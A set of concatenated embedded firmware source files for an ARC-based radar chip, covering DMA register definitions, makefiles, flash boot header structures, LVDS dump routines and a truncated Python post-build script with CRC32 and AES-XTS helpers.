#define DMAC_REG_DSR(chn) (CHIP_DMAC_BASE + 0x50 + (chn) * 0x58)
/* raw status. */
#define DMAC_REG_RAW_STATUS_BASE (CHIP_DMAC_BASE + 0x2C0)
#define DMAC_REG_RAW_TFR (DMAC_REG_RAW_STATUS_BASE)
#define DMAC_REG_RAW_BLOCK (DMAC_REG_RAW_STATUS_BASE + 0x8)
#define DMAC_REG_RAW_SRC_TRANS (DMAC_REG_RAW_STATUS_BASE + 0x10)
#define DMAC_REG_RAW_DST_TRANS (DMAC_REG_RAW_STATUS_BASE + 0x18)
#define DMAC_REG_RAW_ERR (DMAC_REG_RAW_STATUS_BASE + 0x20)
/* status. */
#define DMAC_REG_STATUS_TFR (CHIP_DMAC_BASE + 0x2E8)
#define DMAC_REG_STATUS_BLOCK (CHIP_DMAC_BASE + 0x2F0)
#define DMAC_REG_STATUS_SRC_TRANS (CHIP_DMAC_BASE + 0x2F8)
#define DMAC_REG_STATUS_DST_TRANS (CHIP_DMAC_BASE + 0x300)
#define DMAC_REG_STATUS_ERR (CHIP_DMAC_BASE + 0x308)
/* mask. */
#define DMAC_REG_MASK_TFR (CHIP_DMAC_BASE + 0x310)
#define DMAC_REG_MASK_BLOCK (CHIP_DMAC_BASE + 0x318)
#define DMAC_REG_MASK_SRC_TRANS (CHIP_DMAC_BASE + 0x320)
#define DMAC_REG_MASK_DST_TRANS (CHIP_DMAC_BASE + 0x328)
#define DMAC_REG_MASK_ERR (CHIP_DMAC_BASE + 0x330)
/* clear. */
#define DMAC_REG_CLEAR_TFR (CHIP_DMAC_BASE + 0x338)
#define DMAC_REG_CLEAR_BLOCK (CHIP_DMAC_BASE + 0x340)
#define DMAC_REG_CLEAR_SRC_TRANS (CHIP_DMAC_BASE + 0x348)
#define DMAC_REG_CLEAR_DST_TRANS (CHIP_DMAC_BASE + 0x350)
#define DMAC_REG_CLEAR_ERR (CHIP_DMAC_BASE + 0x358)
#define DMAC_REG_STATUS (CHIP_DMAC_BASE + 0x360)
/* software handshaking. */
#define DMAC_REG_REQSRC (CHIP_DMAC_BASE + 0x368)
#define DMAC_REG_REQDST (CHIP_DMAC_BASE + 0x370)
#define DMAC_REG_SGLRQSRC (CHIP_DMAC_BASE + 0x378)
#define DMAC_REG_SGLRQDST (CHIP_DMAC_BASE + 0x380)
#define DMAC_REG_LSTSRC (CHIP_DMAC_BASE + 0x388)
#define DMAC_REG_LSTDST (CHIP_DMAC_BASE + 0x390)
/* miscellaneous. */
#define DMAC_REG_CFGREG (CHIP_DMAC_BASE + 0x398)
#define DMAC_REG_CHNEN (CHIP_DMAC_BASE + 0x3A0)
#define DMAC_REG_DMAID (CHIP_DMAC_BASE + 0x3A8)
#define DMAC_REG_TESTREG (CHIP_DMAC_BASE + 0x3B0)
#define DMAC_REG_LPTIMEOUT (CHIP_DMAC_BASE + 0x3B8)
#define DMAC_REG_COMP_PARAMS(idx) (CHIP_DMAC_BASE + 0x3C8 + ((id) << 3))
#define DMAC_REG_COMPSID (CHIP_DMAC_BASE + 0x3F8)
/* channel ctlx bits. */
#define DMAC_BITS_CTL_DONE (1 << 12)
#define DMAC_BITS_CTL_BS_MASK (0x1F)
#define DMAC_BITS_CTL_LLP_SRC_EN (1 << 28)
#define DMAC_BITS_CTL_LLP_DST_EN (1 << 27)
#define DMAC_BITS_CTL_TT_FC_MASK (0x7)
#define DMAC_BITS_CTL_TT_FC_SHIFT (20)
#define DMAC_BITS_CTL_DST_SCATTER_EN (1 << 18)
#define DMAC_BITS_CTL_SRC_GATHER_EN (1 << 17)
#define DMAC_BITS_CTL_SRC_MSIZE_MASK (0x7)
#define DMAC_BITS_CTL_SRC_MSIZE_SHIFT (14)
#define DMAC_BITS_CTL_DST_MSIZE_MASK (0x7)
#define DMAC_BITS_CTL_DST_MSIZE_SHIFT (11)
#define DMAC_BITS_CTL_SINC_MASK (0x3)
#define DMAC_BITS_CTL_SINC_SHIFT (9)
#define DMAC_BITS_CTL_DINC_MASK (0x3)
#define DMAC_BITS_CTL_DINC_SHIFT (7)
#define DMAC_BITS_CTL_INT_EN (1 << 0)
#define dmac_trans_type(type) (((type) & DMAC_BITS_CTL_TT_FC_MASK) << DMAC_BITS_CTL_TT_FC_SHIFT)
#define dmac_src_burst_transaction_length(len) (((len) & DMAC_BITS_CTL_SRC_MSIZE_MASK) << DMAC_BITS_CTL_SRC_MSIZE_SHIFT)
#define dmac_dst_burst_transaction_length(len) (((len) & DMAC_BITS_CTL_DST_MSIZE_MASK) << DMAC_BITS_CTL_DST_MSIZE_SHIFT)
#define dmac_src_address_mode_length(mode) (((mode) & DMAC_BITS_CTL_SINC_MASK) << DMAC_BITS_CTL_SINC_SHIFT)
#define dmac_dst_address_mode_length(mode) (((mode) & DMAC_BITS_CTL_DINC_MASK) << DMAC_BITS_CTL_DINC_SHIFT)
/* channel cfg bits. */
#define DMAC_BITS_CFG_DST_PER_MASK (0xF)
#define DMAC_BITS_CFG_DST_PER_SHIFT (11)
#define DMAC_BITS_CFG_SRC_PER_MASK (0xF)
#define DMAC_BITS_CFG_SRC_PER_SHIFT (7)
#define DMAC_BITS_CFG_SS_UPD_EN (1 << 6)
#define DMAC_BITS_CFG_DS_UPD_EN (1 << 5)
#define DMAC_BITS_CFG_PROTCTL_MASK (0x7)
#define DMAC_BITS_CFG_PROTCTL_SHIFT (2)
#define DMAC_BITS_CFG_FIFOMODE (1 << 1)
#define DMAC_BITS_CFG_FCMODE (1 << 0)
#define DMAC_BITS_CFG_RELOAD_DST (1 << 31)
#define DMAC_BITS_CFG_RELOAD_SRC (1 << 30)
//#define DMAC_BITS_CFG_MAX_ABRST_MASK (0x3FF)
//#define DMAC_BITS_CFG_MAX_ABRST_SHIFT (20)
#define DMAC_BITS_CFG_SRC_HS_POL (1 << 19)
#define DMAC_BITS_CFG_DST_HS_POL (1 << 18)
#define DMAC_BITS_CFG_HS_SEL_SRC (1 << 11)
#define DMAC_BITS_CFG_HS_SEL_DST (1 << 10)
#define DMAC_BITS_CFG_FIFO_EMPTY (1 << 9)
#define DMAC_BITS_CFG_CHN_SUSP (1 << 8)
#define DMAC_BITS_CFG_CHN_PRIOR_MASK (0x7)
#define DMAC_BITS_CFG_CHN_PRIOR_SHIFT (5)
#define dmac_chn_dst_hw_if(id) (((id) & DMAC_BITS_CFG_DST_PER_MASK) << DMAC_BITS_CFG_DST_PER_SHIFT)
#define dmac_chn_src_hw_if(id) (((id) & DMAC_BITS_CFG_SRC_PER_MASK) << DMAC_BITS_CFG_SRC_PER_SHIFT)
#define dmac_chn_prot_ctrl(val) (((val) & DMAC_BITS_CFG_PROTCTL_MASK) << DMAC_BITS_CFG_PROTCTL_SHIFT)
//#define dmac_chn_max_amba_burst_len(len) (((len) & DMAC_BITS_CFG_MAX_ABRST_MASK) << DMAC_BITS_CFG_MAX_ABRST_SHIFT)
#define dmac_chn_priority(prior) (((prior) & DMAC_BITS_CFG_CHN_PRIOR_MASK) << DMAC_BITS_CFG_CHN_PRIOR_SHIFT)
#define dmac_chn_src_hs_select(hs) (((hs) & 0x1) << 11)
#define dmac_chn_dst_hs_select(hs) (((hs) & 0x1) << 10)
/* source gather bits. */
#define DMAC_BITS_SGR_SGC_MASK (0x1F)
#define DMAC_BITS_SGR_SGC_SHIFT (20)
#define DMAC_BITS_SGR_SGI_MASK (0xFFFFF)
#define DMAC_BITS_SGR_SGI_SHIFT (0)
#define dmac_source_gather(iv, cnt) ( \
((iv) & DMAC_BITS_SGR_SGI_MASK) | \
(((cnt) & DMAC_BITS_SGR_SGC_MASK) << DMAC_BITS_SGR_SGC_SHIFT) \
)
/* destination scatter bits. */
#define DMAC_BITS_DSR_DSC_MASK (0x1F)
#define DMAC_BITS_DSR_DSC_SHIFT (20)
#define DMAC_BITS_DSR_DSI_MASK (0xFFFFF)
#define DMAC_BITS_DSR_DSI_SHIFT (0)
#define dmac_dest_scatter(iv, cnt) ( \
((iv) & DMAC_BITS_DSR_DSI_MASK) | \
(((cnt) & DMAC_BITS_DSR_DSC_MASK) << DMAC_BITS_DSR_DSC_SHIFT) \
)
/* interrupt mask bits. */
#define DMAC_BITS_MASK_WE_MASK (0x1F)
#define DMAC_BITS_MASK_WE_SHIFT (8)
#define DMAC_BITS_MASK_MASK_MASK (0x1F)
#define dmac_int_mask_write_enable(chn) (((1 << (chn)) & DMAC_BITS_MASK_WE_MASK) << DMAC_BITS_MASK_WE_SHIFT);
#define dmac_int_mask(chn) (((1 << (chn)) & DMAC_BITS_MASK_MASK_MASK));
/* channel enable bits. */
#define DMAC_BITS_CHNEN_WE_MASK (0x1F)
#define DMAC_BITS_CHNEN_WE_SHIFT (8)
#define DMAC_BITS_CHNEN_EN_MASK (0x1F)
#define dmac_chn_enable_write_enable(chn) (((1 << (chn)) & DMAC_BITS_CHNEN_WE_MASK) << DMAC_BITS_CHNEN_WE_SHIFT);
#define dmac_chn_enable(chn) (((1 << (chn)) & DMAC_BITS_CHNEN_EN_MASK));
inline static int dmac_chn_fifo_empty(uint32_t chn_id)
{
return !!(raw_readl(DMAC_REG_CFG(chn_id)) & DMAC_BITS_CFG_FIFO_EMPTY);
}
#endif /* _DW_DMAC_REG_H_ */
<file_sep>
LIBC_LESS ?= 1
COMMON_STACK_INIT ?= 1
#SoC devices.
##############################
USE_CAN ?= 1
USE_UART ?= 1
USE_SPI ?=
USE_I2C ?=
USE_GPIO ?=
USE_SSI ?= 1
USE_QSPI ?=
USE_XIP ?=
USE_DMA ?=
USE_HW_CRC ?= 1
#BSP.
###############################
USE_NOR_FLASH ?= 1
FLASH_TYPE ?= s25fls
override FLASH_TYPE := $(strip $(FLASH_TYPE))
NOR_FLASH_STATIC_PARAM ?=
USE_PMIC ?= 1
#system component
###############################
USE_SYSTEM_TICK ?= 1
USE_FREEROTS_CLI ?=
USE_CAN_CLI ?=
CHIP_CASCADE ?=
CHIP_CASCADE_COST ?=
UART_LOG_EN ?= 1
UART_OTA ?= 1
UART_OTA_ID ?= 0
CAN_OTA ?=
#Application.
###############################
FMCW_SDM_FREQ ?= 400
CONSOLE_PRINTF ?=
TICK_RATE_HZ ?=
TICK_MS_HZ ?= 1000
SYSTEM_BOOT_STAGE ?= 2
ELF_2_MULTI_BIN ?=
<file_sep>CUR_CORE ?= arcem6
BD_VER ?= 1
# application source dirs
APPL_CSRC_DIR += $(APPLS_ROOT)/$(APPL)
APPL_ASMSRC_DIR += $(APPLS_ROOT)/$(APPL)
ifeq ($(TOOLCHAIN), gnu)
APPL_LIBS += -lm # math support
endif
# application include dirs
APPL_INC_DIR += $(APPLS_ROOT)/$(APPL)
APPL_DEFINES ?=
# include current project makefile
COMMON_COMPILE_PREREQUISITES += $(APPLS_ROOT)/$(APPL)/$(APPL).mk
### Options above must be added before include options.mk ###
# include key embARC build system makefile
override EMBARC_ROOT := $(strip $(subst \,/,$(EMBARC_ROOT)))
override CALTERAH_ROOT := $(strip $(subst \,/,$(CALTERAH_ROOT)))
#include $(EMBARC_ROOT)/options/options.mk
###########################################
##
# Special Default Make Goal to all
# so if no make goal specified,
# all will be the make goal,
# not the first target in the makefile
##
.DEFAULT_GOAL = all
##
# Output OBJS Root Directory
##
OUT_DIR_ROOT ?=
##
# Compile Toolchain
# Refer to toolchain.mk
##
TOOLCHAIN ?= gnu
# Optimization Level
# Please Refer to toolchain_xxx.mk for this option
OLEVEL ?= O2
##
# STACK SIZE Set
##
STACKSZ ?= 4096
##
# Debugger Select
# Refer to debug.mk
##
JTAG ?= usb
##
# Digilent JTAG Name Specify(Only for Metaware)
# This is especially useful if you have more than one
# Digilent device connected to your host.
# You can open digilent adept tool to see what digilent
# jtag is connected, leave this blank if don't know the name of digilent jtag
# I have see two digilent name: JtagHs1 TE0604-02
# Simple wrapper of -prop=dig_device=name option of Metaware Debugger(mdb)
##
DIG_NAME ?=
##
# Digilent JTAG Choice Select(Only for Metaware)
# Simple wrapper of -prop=dig_device_choice=N option of Metaware Debugger(mdb)
##
DIG_CHOICE ?=
##
# Set Digilent JTAG frequency(in Hz)(Only for Metaware)
# This is especially useful when you want to specify
# the digilent JTAG frequency when your board freq is quite low.
# Simple wrapper of -prop=dig_speed=SSS option of Metaware Debugger(mdb)
##
DIG_SPEED ?=
##
# DEBUG
# 1 for enable
# other for disable
##
DEBUG ?= 1
##
# generate map
# 1 for enable
# other for disable
##
MAP ?= 1
##
# Control Compiler Message Show
# 1: show compile total options
# 0: just show compile file info
##
V ?= 0
##
# Suppress All Messages
##
SILENT ?= 0
GENE_TCF = arc.tcf
GENE_BCR_CONTENTS_TXT = bcr_contents.txt
##
# Argument files' filename generated from TCF
# Don't do any modification here
##
GENE_CCAC_ARG = ccac.arg
GENE_GCC_ARG = gcc.arg
#GENE_NSIM_PROPS = nsim.props
GENE_MDB_ARG = mdb.arg
GENE_CORE_CONFIG_H = core_config.h
GENE_CORE_CONFIG_S = core_config.s
##
# Apex possiblely not generated
##
GENE_APEXEXTENSIONS_H = apexextensions.h
GENE_APEXEXTENSIONS_S = apexextensions.s
## File list which might need to be generated
GENE_FILE_LIST = $(GENE_TCF) $(GENE_CCAC_ARG) $(GENE_GCC_ARG) \
$(GENE_MDB_ARG) $(GENE_CORE_CONFIG_H) $(GENE_CORE_CONFIG_S)
## Include Scripts and Functions ##
include ./options/scripts.mk
COMMON_COMPILE_PREREQUISITES += ./options/scripts.mk
##
# Output Directory Set
##
OUT_DIR_PREFIX = obj_
## CHIP Infomation
CHIP_INFO = $(strip $(CHIP))$(strip $(CHIP_VER))
## Board Infomation
BOARD_INFO = $(strip $(BOARD))_v$(strip $(BD_VER))
## Build Infomation
BUILD_INFO = $(strip $(TOOLCHAIN))_$(strip $(CUR_CORE))
## Selected Configuration
SELECTED_CONFIG=$(BOARD_INFO)-$(BUILD_INFO)
## Objects Output Directory
BOARD_OUT_DIR = $(OUT_DIR_PREFIX)$(BOARD_INFO)
CHIP_OUT_DIR = $(OUT_DIR_PREFIX)$(CHIP_INFO)_$(BOARD_INFO)_$(APPL)
OUT_DIR = $(CHIP_OUT_DIR)/$(BUILD_INFO)
##
# Application Path and Name Setting
##
APPL_NAME = $(strip $(APPL)_$(BUILD_INFO))
APPL_FULL_NAME = $(strip $(OUT_DIR)/$(APPL_NAME))
#APPL_OUT_DIR = $(OUT_DIR)/application
##
# Generated directory - contains generated files
# Such as metaware, arc gnu, nsim argument files, generated link file
##
EMBARC_GENERATED_DIR = $(OUT_DIR)/embARC_generated
include ./boot/config.mk
####################################
# source files and object files
BOOT_CSRCS =
BOOT_ASMSRCS =
BOOT_ALLSRCS =
BOOT_INCDIRS = $(EMBARC_ROOT)/inc ./include
BOOT_COBJS =
BOOT_ASMOBJS =
BOOT_ALLOBJS =
#BOOT_DEFINES =
BOOT_DEPS =
PROJECT_ROOT_DIR = boot
PROJECT_CSRCS = boot/main.c
ifneq ($(USE_SYSTEM_TICK),)
PROJECT_CSRCS += boot/tick.c
endif
ifneq ($(UART_OTA),)
PROJECT_CSRCS += boot/uart_ota.c
endif
ifneq ($(CAN_OTA),)
PROJECT_CSRCS += boot/can_ota.c
endif
PROJECT_CSRCS += boot/flash_boot.c
ifneq ($(ELF_2_MULTI_BIN), )
PROJECT_CSRCS += boot/tiny_main.c
endif
PROJECT_CSRCS += boot/crc32.c
PROJECT_COBJS = $(call get_relobjs, $(PROJECT_CSRCS))
PROJECT_OUT_DIR = $(OUT_DIR)/boot
BOOT_INCDIRS += boot
ifneq ($(USE_SYSTEM_TICK),)
APPL_DEFINES += -DSYSTEM_TICK
endif
ifneq ($(UART_LOG_EN),)
APPL_DEFINES += -DSYSTEM_UART_LOG_EN
endif
ifneq ($(UART_OTA),)
APPL_DEFINES += -DSYSTEM_UART_OTA -DUART_OTA_ID=$(UART_OTA_ID)
else
ifneq ($(UART_LOG_EN),)
APPL_DEFINES += -DUART_OTA_ID=$(UART_OTA_ID)
endif
endif
ifneq ($(CAN_OTA),)
APPL_DEFINES += -DSYSTEM_CAN_OTA
endif
APPL_DEFINES += -DFMCW_SDM_FREQ=$(FMCW_SDM_FREQ)
##
# Application Link file definition
##
ifeq ($(TOOLCHAIN), gnu)
ifneq ($(ELF_2_MULTI_BIN), )
APPL_LINK_FILE = ./boot/linker_gnu_extra.ldf
APPL_DEFINES += -DBOOT_SPLIT
else
APPL_LINK_FILE = ./boot/linker_gnu.ldf
endif
endif
ifeq ($(TOOLCHAIN), mw)
ifneq ($(ELF_2_MULTI_BIN), )
APPL_LINK_FILE = ./boot/linker_mw_extra.ldf
APPL_DEFINES += -DBOOT_SPLIT
else
APPL_LINK_FILE = ./boot/linker_mw.ldf
endif
endif
# include toolchain settings
include ./options/toolchain.mk
COMMON_COMPILE_PREREQUISITES += ./options/toolchain.mk
include ./chip/chip.mk
COMMON_COMPILE_PREREQUISITES += ./chip/chip.mk
include ./board/board.mk
COMMON_COMPILE_PREREQUISITES += ./board/board.mk
include ./arc/arc.mk
COMMON_COMPILE_PREREQUISITES += ./arc/arc.mk
include ./device/device.mk
COMMON_COMPILE_PREREQUISITES += ./device/device.mk
include ./fmcw_radio/fmcw_radio.mk
COMMON_COMPILE_PREREQUISITES += ./fmcw_radio/fmcw_radio.mk
# include debug settings
include ./options/debug.mk
COMMON_COMPILE_PREREQUISITES += ./options/debug.mk
include ./options/rules.mk
COMMON_COMPILE_PREREQUISITES += ./options/rules.mk
<file_sep>#ifndef _FLASH_HEADER_H_
#define _FLASH_HEADER_H_
#include "xip.h"
#include "version.h"
/* image header: */
typedef struct {
uint32_t magic_number;
sw_version_t sw_version;
uint32_t payload_addr;
uint32_t payload_size;
uint32_t xip_en;
uint32_t ram_base;
uint32_t exec_offset;
uint32_t crc_part_size;
uint32_t reserved[41];
uint32_t crc32;
} image_header_t;
/*
* Description: external flash device command.
* ------------------------------------------------------
* | Instruction | address | data |
* ------------------------------------------------------
* @valid: indicate whether this command is valid. and after it, CPU should wait how much time.
* [31:16], valid flag. [15:0], wait time.
* @cmd: instruction of external flash device.
* @value: the data of the command.
**/
typedef struct ext_flash_cmd_t {
uint32_t valid;
uint32_t cmd;
uint32_t addr;
uint32_t value[4];
} dev_cmd_t;
/*
* Description: flash header which the information about firmware.
* @pload_addr: the start position of application image in external flash memory.
* @pload_size: the size of application image in external flash memory.
* @ram_base: the begin of application in internal RAM.
* @exec_offset: the offset of the application image's enterpoint to its load address.
* @xip_flag: XIP flag or flag indicate whether execute on CHIP RAM.
* @pll_on: indicate whether to siwtch CPU and system clock to PLL Clock during Flash XIP mode.
* @xip_ctrl: descript the XIP controller.
* @cmd_sequence: include the external device's command, which makes the device enter a special mode,
* such as, from SPI to QIO or QPI.
* @pll_param: indicate how to config PLL in RF side. its format as below:
* 31 23 15 7 0
* -----------------------------------
* | valid | address | value | delay |
* -----------------------------------
* @qspi_speed: while flash XIP is not enabled, user can raise up the baud of the QSPI, which connect
* to external flash device. unit is kbps.
* @sec_dbg_cert_valid: indicate whether debug certify is valid.
* @sec_dbg_cert_addr/size: indicate where the debug certify local on and its size.
* @pload_crc_granularity: indicate the size of each CRC compution.
* @boot_timeout: the max waiting time before firmware or boot executing.
**/
typedef struct nvm_header {
uint32_t magic_number;
uint32_t version;
uint32_t qspi_speed0;
uint32_t id_padding;
uint32_t pload_addr;
uint32_t pload_size;
uint32_t ram_base;
uint32_t exec_offset;
uint32_t quad_flag;
uint32_t quad_ins;
uint32_t xip_flag;
uint32_t pll_on;
xip_ctrl_t xip_ctrl;
dev_cmd_t cmd_sequence[4];
uint32_t pll_param[24];
uint32_t ahb_div;
uint32_t apb_div;
uint32_t qspi_speed;
uint32_t sec_dbg_cert_valid;
uint32_t sec_dbg_cert_addr;
uint32_t sec_dbg_cert_size;
uint32_t pload_crc_granularity;
uint32_t boot_timeout;
sw_version_t sw_version;
uint32_t reserved[24];
uint32_t crc_of_pload_crc;
uint32_t header_crc;
} flash_header_t;
#define FLASH_XIP_OFF (0)
#define FLASH_XIP_ON (1)
#define PLL_CLOCK_OFF (0)
#define PLL_CLOCK_ON (1)
#define SEC_DBG_CERT_INVLD (0)
#define SEC_DBG_CERT_VLD (1)
#define FLASH_DEV_CMD_INVLD (0)
#define FLASH_DEV_CMD_VLD (0xffff)
/* Unit: byte. */
#define QSPI_BOOT_HEADER_SIZE (512)
#define SYS_PAYLOAD_CRC_MAX_LEN (4000 << 2)
#define DEF_PLL_PARAM(addr, value, delay) (\
(((addr) & 0xFF) << 16) |\
(((value) & 0xFF) << 8) |\
(((delay) & 0xFF)) |\
(1 << 24) \
)
//#define DEF_FLASH_CMD_VAL(val) (((val) & 0xFF) | (1 << 8))
#define DEF_FLASH_CMD(ins, address, delay, val0, val1, val2, val3) {\
.valid = ((delay) & 0xFFFF) | (FLASH_DEV_CMD_VLD << 16),\
.cmd = ins,\
.addr = address,\
.value = {val0, val1, val2, val3}\
}
#define DEF_FLASH_CMD_INV() {\
.valid = 0,\
.cmd = 0,\
.addr = 0,\
.value = {0, 0, 0, 0}\
}
flash_header_t *flash_header_get(void);
#endif
<file_sep>#include "embARC.h"
#include "apb_lvds.h"
#include "alps_lvds_reg.h"
#include "radio_ctrl.h"
static inline void lvds_raw_write(int addr, int val)
{
*(volatile int *)(addr)= val;
}
static inline int lvds_raw_read(int addr)
{
return *(volatile int *)(addr);
}
static void lvds_data_from_bb(uint8_t dump_src)
{
lvds_raw_write(LVDS_BASE + LENR , LENR_OFF );
lvds_raw_write(LVDS_BASE + BB_DAT_MUX , dump_src );
lvds_raw_write(LVDS_BASE + DUMP_MUX , DUMP_MUX_BB );
lvds_raw_write(LVDS_BASE + OUTPUT_MUX , OUTPUT_MUX_APB );
lvds_raw_write(LVDS_BASE + LVDS_EN , LVDS_EN_ON );
lvds_raw_write(LVDS_BASE + LVDS_FRAME , LVDS_FRAME_POS );
lvds_raw_write(LVDS_BASE + LVDS_BIT_ORDER , LVDS_BIT_ORDER_POS );
lvds_raw_write(LVDS_BASE + LENR , LENR_ON );
}
void lvds_dump_config(uint8_t dump_src)
{
lvds_enable(1);
lvds_data_from_bb(dump_src); /* must after lvds clock enable */
}
void lvds_dump_start(uint8_t dump_src)
{
fmcw_radio_lvds_on(NULL, true);
lvds_dump_config(dump_src);
lvds_dump_reset(); /* reset signal to fpga board */
}
void lvds_dump_stop(void)
{
lvds_raw_write(LVDS_BASE + LENR , LENR_OFF );
lvds_raw_write(LVDS_BASE + BB_DAT_MUX , BB_MUX_DEF );
lvds_raw_write(LVDS_BASE + LENR , LENR_ON );
lvds_enable(0);
lvds_dump_done(); /* done signal to fpga board */
}
<file_sep>#include "embARC.h"
#include "embARC_debug.h"
#include "embARC_assert.h"
//#include "dw_qspi_reg.h"
#include "dw_ssi_reg.h"
#include "dw_ssi.h"
#include "xip_hal.h"
#include "flash_header.h"
#include "flash_mmap.h"
#include "instruction.h"
#include "vendor.h"
#include "config.h"
#if (defined SYSTEM_3_STAGES_BOOT) && (defined __FIRMWARE__)
__attribute__ ((aligned(4), section(".nvm_header")))
image_header_t sensor_flash_header = {
.magic_number = 0x43616c74UL,
.sw_version = {
.major_ver_id = MAJOR_VERSION_ID,
.minor_ver_id = MINOR_VERSION_ID,
.stage_ver_id = STAGE_VERSION_ID,
.date = __DATE__,
.time = __TIME__,
.info = SYS_NAME_STR
},
.payload_addr = FLASH_FIRMWARE_BASE + sizeof(image_header_t),
//.payload_size
#if FLASH_XIP_EN
.xip_en = FLASH_XIP_ON,
#else
.xip_en = FLASH_XIP_OFF,
#endif
//.ram_base
//.exec_offset
.crc_part_size = 0x1000,
};
#else
__attribute__ ((aligned(4), section(".nvm_header")))
flash_header_t sensor_flash_header = {
.magic_number = 0x43616c74UL,
.version = 0,
#if ((FMCW_SDM_FREQ == 400)||(FMCW_SDM_FREQ == 450))
.qspi_speed0 = 2000000,
#elif FMCW_SDM_FREQ == 360
.qspi_speed0 = 1500000,
#endif
#if (defined SYSTEM_3_STAGES_BOOT)
.pload_addr = FLASH_BOOT_BASE,
#else
.pload_addr = FLASH_FIRMWARE_BASE,
#endif
/* filled by post.py script! */
/*
.pload_size = 0,
.ram_base = 0,
.exec_offset = 0,
*/
#if FLASH_XIP_EN
.xip_flag = FLASH_XIP_ON,
.pll_on = PLL_CLOCK_ON,
#else
.xip_flag = FLASH_XIP_OFF,
.pll_on = PLL_CLOCK_ON,
#endif
/* TODO: while xip, the QSPI baud rate is fixed to 40Mbps! */
.xip_ctrl = {
//.ctrl0 = 0x5f0200,
.ctrl0 = CLK_MODE0_SSI_CTRL0(QUAD_FRAME_FORMAT, DW_SSI_DATA_LEN_32, DW_SSI_RECEIVE_ONLY),
.ctrl1 = 0x7ff,
.baud = 0xa,
.rx_sample_delay = FLASH_DEV_SAMPLE_DELAY,
//.spi_ctrl = 0x3219,
.spi_ctrl = SSI_SPI_CTRLR0(FLASH_DEV_DUMMY_CYCLE + FLASH_DEV_MODE_CYCLE, \
DW_SSI_INS_LEN_8, DW_SSI_ADDR_LEN_24, DW_SSI_1_X_X),
//.read_cmd = (0x1f << 16) | (0x6 << 21) | (0x2 << 25) | 0xeb,
.read_cmd = FLASH_COMMAND(CMD_Q_READ, \
DW_SSI_INS_LEN_8, DW_SSI_ADDR_LEN_24, DW_SSI_DATA_LEN_32),
.xip_offset = FLASH_HEADER_BASE,
//.xip_endian = XIP_BIG_ENDIAN,
.ahb_endian = 0x33,
.aes_endian = 0x33,
.xip_rx_buf_len = CONFIG_XIP_INS_BUF_LEN,
.data_offset = FLASH_HEADER_BASE,
.data_rx_buf_len = CONFIG_XIP_RD_BUF_LEN,
#if FLASH_XIP_EN
.mode = 0x7,
#else
.mode = 0,
#endif
.block_cnt = CONFIG_AES_VLD_BLK_CNT,
.last_block_size = CONFIG_AES_LAST_BLK_SIZE
},
.cmd_sequence = {
FLASH_DEV_CMD0, FLASH_DEV_CMD1, FLASH_DEV_CMD2, FLASH_DEV_CMD3
},
/* TODO: move to a separate file! */
.pll_param = {
/* (addr, value, delay). ms. */
DEF_PLL_PARAM(0x00, 0x00, 0x00),
DEF_PLL_PARAM(0x03, 0x07, 0x00),
DEF_PLL_PARAM(0x05, 0xc0, 0x00),
//DEF_PLL_PARAM(0x09, 0x30, 0x00),
DEF_PLL_PARAM(0x12, 0xc0, 0x00),
DEF_PLL_PARAM(0x13, 0xc0, 0x00),
DEF_PLL_PARAM(0x14, 0xc0, 0x00),
DEF_PLL_PARAM(0x15, 0xb0, 0x00),
DEF_PLL_PARAM(0x16, 0xb0, 0x00),
DEF_PLL_PARAM(0x1b, 0xeb, 0x00),
#if FMCW_SDM_FREQ == 400
DEF_PLL_PARAM(0x1d, 0x19, 0x00),
DEF_PLL_PARAM(0x1e, 0xd0, 0x00),
#elif FMCW_SDM_FREQ == 450
DEF_PLL_PARAM(0x1d, 0x18, 0x00),
DEF_PLL_PARAM(0x1e, 0xc0, 0x00),
#elif FMCW_SDM_FREQ == 360
DEF_PLL_PARAM(0x1d, 0x18, 0x00),
DEF_PLL_PARAM(0x1e, 0xe0, 0x00),
#endif
DEF_PLL_PARAM(0x25, 0xa0, 0x00),
DEF_PLL_PARAM(0x26, 0x6f, 0x00),
DEF_PLL_PARAM(0x7d, 0x00, 0x00),
DEF_PLL_PARAM(0x7d, 0x01, 0x07)
},
.qspi_speed = 10000000,
.sec_dbg_cert_valid = SEC_DBG_CERT_INVLD,
.sec_dbg_cert_addr = FLASH_DBG_CERT_BASE,
.sec_dbg_cert_size = CONFIG_SEC_DBG_CERT_LEN,
.pload_crc_granularity = 0x1000,
.boot_timeout = 0xFFFFFFFFU,
.sw_version = {
.major_ver_id = MAJOR_VERSION_ID,
.minor_ver_id = MINOR_VERSION_ID,
.stage_ver_id = STAGE_VERSION_ID,
.date = __DATE__,
.time = __TIME__,
.info = SYS_NAME_STR
}
};
#endif
flash_header_t *flash_header_get(void)
{
flash_header_t *pflash_header = &sensor_flash_header;
return pflash_header;
}
<file_sep>#!/usr/bin/env python3
import os, sys
from cryptography.hazmat.primitives.ciphers import (Cipher, algorithms, modes)
from cryptography.hazmat.backends import default_backend
import numpy
import itertools
import struct
# 2->ROMCODE + Firmware, 3->ROMCODE + Boot + Firmware
security_flag = 0
system_boot_stage = 2
boot_split = 0
def crc32_generate_table():
crc32_array = [0] * 256
crc_accum = 0;
i = 0;
while True:
crc_accum = (i << 24) & 0xFFFFFFFF;
j = 0;
while True:
if crc_accum & 0x80000000:
#crc_accum = (crc_accum << 1) ^ 0x04c11db7;
crc_accum = (crc_accum << 1) ^ 0xd419cc15;
else:
crc_accum = (crc_accum << 1);
j += 1;
if j >= 8:
break;
crc32_array[i] = crc_accum & 0xFFFFFFFF;
i += 1;
if i >= 256:
break;
return crc32_array
crc32_table = crc32_generate_table()
def crc32_update(data, size):
crc32 = 0;
j = 0;
while True:
if j >= size:
break;
#for byte in data:
i = ((crc32 >> 24) ^ data[j]) & 0xFF;
crc32 = (crc32 << 8) ^ crc32_table[i];
crc32 = crc32 & 0xFFFFFFFF;
j += 1;
return crc32;
def encrypt(key, iv, plaintext):
encryptor = Cipher(
algorithms.AES(key),
modes.XTS(iv),
backend=default_backend()
).encryptor()
# Encrypt the plaintext and get the associated ciphertext.
# GCM does not require padding.
ciphertext = encryptor.update(plaintext) + encryptor.finalize()
return ciphertext
def decrypt(key, iv, ciphertext):
# Construct a Cipher object, with the key, iv, and additionally the
# GCM tag used for authenticating the message.
decryptor = Cipher(
algorithms.AES(key),
modes.XTS(iv),
backend=default_backend()
).decryptor()
# Decryption gets us the authenticated plaintext.
# If the tag does not match an InvalidTag exception will be raised.
return decryptor.update(ciphertext) + decryptor.finalize()
def word_align(fn) :
with open(fn, 'rb') as f :
while True :
trunk = f.read(4)
if trunk :
n = len(trunk)
